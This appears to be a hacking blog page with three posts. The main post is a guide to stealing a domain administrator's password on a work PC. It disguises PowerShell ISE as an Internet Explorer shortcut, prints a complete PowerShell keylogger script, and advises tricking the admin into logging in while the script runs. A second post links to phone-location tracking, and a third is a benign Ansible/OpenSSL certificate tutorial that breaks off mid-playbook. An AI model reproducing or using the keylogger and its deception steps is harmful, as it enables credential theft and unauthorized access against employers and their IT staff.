Search This Blog

Powered by Blogger.

How to get an admin password on a work PC in an Active Directory domain?

  ⚙How to get an admin password on a work PC in an Active Directory domain? A) First, find the location of the shortcut for the installed Po...

Sunday, November 8, 2020

How to get an admin password on a work PC in an Active Directory domain?


 ⚙How to get an admin password on a work PC in an Active Directory domain?


A) First, find the location of the shortcut for the installed PowerShell ISE. Usually it is located at C: \ Users \ Username \ AppData \ Roaming \ Microsoft \ Windows \ Start Menu \ Programs \ Windows PowerShell, find the Windows PowerShell ISE file and in the properties, on the shortcut tab change its shortcut to something inconspicuous, for example an icon of a folder or an icon of software allowed in the organization in * .ico format, for example 1C.

B) I will indicate the shortcut of the IE browser, since everyone has it and is often not prohibited from use by security policies, since most government sites work correctly on the client side only on it. Now, after launch, the IE icon will be displayed in the start menu bar, which will not arouse suspicion.


c) Then open Windows PowerShell ISE and copy the keylogger script code:

#requires -Version 2

function Start-KeyLogger ($ Path = "$ env: temp \ keylogger.txt")

{

# Signatures for API Calls

$ signatures = @ '

[DllImport ("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true)]

public static extern short GetAsyncKeyState (int virtualKeyCode);

[DllImport ("user32.dll", CharSet = CharSet.Auto)]

public static extern int GetKeyboardState (byte [] keystate);

[DllImport ("user32.dll", CharSet = CharSet.Auto)]

public static extern int MapVirtualKey (uint uCode, int uMapType);

[DllImport ("user32.dll", CharSet = CharSet.Auto)]

public static extern int ToUnicode (uint wVirtKey, uint wScanCode, byte [] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);

'@

# load signatures and make members available

$ API = Add-Type -MemberDefinition $ signatures -Name 'Win32' -Namespace API -PassThru


# create output file

$ null = New-Item -Path $ Path -ItemType File -Force

try

{

Write-Host 'Recording key presses. Press CTRL + C to see results. ' -ForegroundColor Red




# create endless loop. When user presses CTRL + C, finally-block

# executes and shows the collected key presses

while ($ true) {

Start-Sleep -Milliseconds 40



# scan all ASCII codes above 8

for ($ ascii = 9; $ ascii -le 254; $ ascii ++) {

# get current key state

$ state = $ API :: GetAsyncKeyState ($ ascii)




# is key pressed?

if ($ state -eq -32767) {

$ null = [console] :: CapsLock




# translate scan code to real code

$ virtualKey = $ API :: MapVirtualKey ($ ascii, 3)




# get keyboard state for virtual keys

$ kbstate = New-Object Byte [] 256

$ checkkbstate = $ API :: GetKeyboardState ($ kbstate)




# prepare a StringBuilder to receive input key

$ mychar = New-Object -TypeName System.Text.StringBuilder




# translate virtual key

$ success = $ API :: ToUnicode ($ ascii, $ virtualKey, $ kbstate, $ mychar, $ mychar.Capacity, 0)




if ($ success)

{

# add key to logger file

[System.IO.File] :: AppendAllText ($ Path, $ mychar, [System.Text.Encoding] :: Unicode)

}

}

}

}

}

finally

{

# open logger file in Notepad

notepad $ Path

}

}




# records all key presses until script is aborted by pressing CTRL + C

# will then open the file with collected key codes

🦑Start-KeyLogger

Now we create an application for installing software or ask the admin to install some legitimate program for us. Before the administrator connects to you remotely or comes in person for the specified work, we launch our script with the Run script command

BY  ABSHQ

Saturday, November 7, 2020

How to track location of phone


 :beginner:How to track location of phone :beginner:

LINK::::::::::
:link:https://tricksbuilder.com/how-to-track-the-location-of-the-phone/

ENJOY


BY ABSHQ

Friday, November 6, 2020

Create OpenSSL Certificate with Ansible


 Create OpenSSL Certificate with Ansible :


1) When working with OpenSSL, public keys are derived from the corresponding private key.

The first step will always be to generate a private key using a specific algorithm.

2) For production use, you need a Certification Authority (CA) or Certification Authority that is responsible for signing a certificate that you can trust on the Internet.

Since we are talking about Dev and Lab use cases, we are creating a self signed certificate.

3) Create OpenSSL Certificate with Ansible
In the examples shown in this article, the private key is named hostname_privkey.pem, the certificate file is hostname_fullchain.pem, and the CSR file is hostname.csr, where hostname is the actual DNS for which the certificate was generated.
Before we start

$ sudo dnf install ansible

$ sudo yum -y install epel-release
$ sudo yum install ansible

$ sudo apt update
$ sudo apt install software-properties-common
$ sudo apt-add-repository --yes --update ppa:ansible/ansible
$ sudo apt install ansible

$ echo "deb http://ppa.launchpad.net/ansible/ansible/ubuntu trusty main" | sudo tee -a /etc/apt/sources.list
$ sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 93C4A3FD7BB9C367
$ sudo apt update
$ sudo apt install ansible

$ pacman -S ansible
Confirm the Ansible installation by checking the version.

$ ansible --version
ansible --version
ansible 2.9.11
config file = None
configured module search path = ['/usr/share/ansible/plugins/modules']
ansible python module location = /usr/local/Cellar/ansible/2.9.11/libexec/lib/python3.8/site-packages/ansible
executable location = /usr/local/bin/ansible
python version = 3.8.5 (default, Jul 21 2020, 10:48:26) [Clang 11.0.3 (clang-1103.0.32.62)]
Install dependencies
pyOpenSSL is required to generate keys and certificates using Ansible.

$ sudo pip install pyOpenSSL

$ sudo pip3 install pyOpenSSL
Writing an Ansible playbook to generate a self signed certificate
With the dependencies installed, we need to start creating the certificate using Ansible.

We will make a single playbook with tasks for creating a private key, CSR and certificate.

I'll walk through each feature block by block, and later we'll combine everything to get a working playbook.

Create project folders:

$ mkdir -p ~/projects/ansible/{certificates,files,templates}
$ cd ~/projects/
$ tree
.
`-- ansible
|-- certificates
|-- files
`-- templates

4 directories, 0 files
Create a playbook template

$ vim ~/projects/ansible/openssl_certificates.yml
Add standard sections.
---
- hosts: localhost
vars:



BY ANONYMOUS BLACK SEC


 

Blogger news

Blogroll

About